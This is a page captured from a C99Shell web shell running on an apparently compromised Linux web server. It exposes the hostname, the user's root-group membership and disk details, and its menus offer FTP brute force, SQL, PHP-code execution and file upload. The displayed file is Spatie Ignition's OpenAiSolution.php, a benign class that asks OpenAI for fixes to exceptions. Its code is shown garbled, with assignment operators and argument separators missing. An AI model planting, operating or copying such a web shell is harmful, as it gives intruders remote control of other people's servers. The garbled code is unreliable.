!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/vendor/spatie/ignition/src/Solutions/OpenAi/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OpenAiSolution.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Ignition\Solutions\OpenAi;

use 
OpenAI;
use 
Psr\SimpleCache\CacheInterface;
use 
Spatie\Backtrace\Backtrace;
use 
Spatie\Backtrace\Frame;
use 
Spatie\Ignition\Contracts\Solution;
use 
Spatie\Ignition\ErrorPage\Renderer;
use 
Spatie\Ignition\Ignition;
use 
Throwable;

class 
OpenAiSolution implements Solution
{
    public 
bool $aiGenerated true;

    protected 
string $prompt;

    protected 
OpenAiSolutionResponse $openAiSolutionResponse;

    public function 
__construct(
        protected 
Throwable           $throwable,
        protected 
string              $openAiKey,
        protected 
CacheInterface|null $cache null,
        protected 
int|null            $cacheTtlInSeconds 60,
        protected 
string|null         $applicationType null,
        protected 
string|null         $applicationPath null,
    ) {
        
$this->prompt $this->generatePrompt();

        
$this->openAiSolutionResponse $this->getAiSolution();
    }

    public function 
getSolutionTitle(): string
    
{
        return 
'AI Generated Solution';
    }

    public function 
getSolutionDescription(): string
    
{
        return 
$this->openAiSolutionResponse->description();
    }

    public function 
getDocumentationLinks(): array
    {
        return 
$this->openAiSolutionResponse->links();
    }

    public function 
getAiSolution(): ?OpenAiSolutionResponse
    
{
        
$solution $this->cache->get($this->getCacheKey());

        if (
$solution) {
            return new 
OpenAiSolutionResponse($solution);
        }

        
$solutionText OpenAI::client($this->openAiKey)
            ->
chat()
            ->
create([
                
'model' => $this->getModel(),
                
'messages' => [['role' => 'user''content' => $this->prompt]],
                
'max_tokens' => 1000,
                
'temperature' => 0,
            ])->
choices[0]->message->content;

        
$this->cache->set($this->getCacheKey(), $solutionText$this->cacheTtlInSeconds);

        return new 
OpenAiSolutionResponse($solutionText);
    }

    protected function 
getCacheKey(): string
    
{
        
$hash sha1($this->prompt);

        return 
"ignition-solution-{$hash}";
    }

    protected function 
generatePrompt(): string
    
{
        
$viewPath Ignition::viewPath('aiPrompt');

        
$viewModel = new OpenAiPromptViewModel(
            
file$this->throwable->getFile(),
            
exceptionMessage$this->throwable->getMessage(),
            
exceptionClassget_class($this->throwable),
            
snippet$this->getApplicationFrame($this->throwable)->getSnippetAsString(15),
            
line$this->throwable->getLine(),
            
applicationType$this->applicationType,
        );

        return (new 
Renderer())->renderAsString(
            [
'viewModel' => $viewModel],
            
$viewPath,
        );
    }

    protected function 
getModel(): string
    
{
        return 
'gpt-3.5-turbo';
    }

    protected function 
getApplicationFrame(Throwable $throwable): ?Frame
    
{
        
$backtrace Backtrace::createForThrowable($throwable);

        if (
$this->applicationPath) {
            
$backtrace->applicationPath($this->applicationPath);
        }

        
$frames $backtrace->frames();

        return 
$frames[$backtrace->firstApplicationFrameIndex()] ?? null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--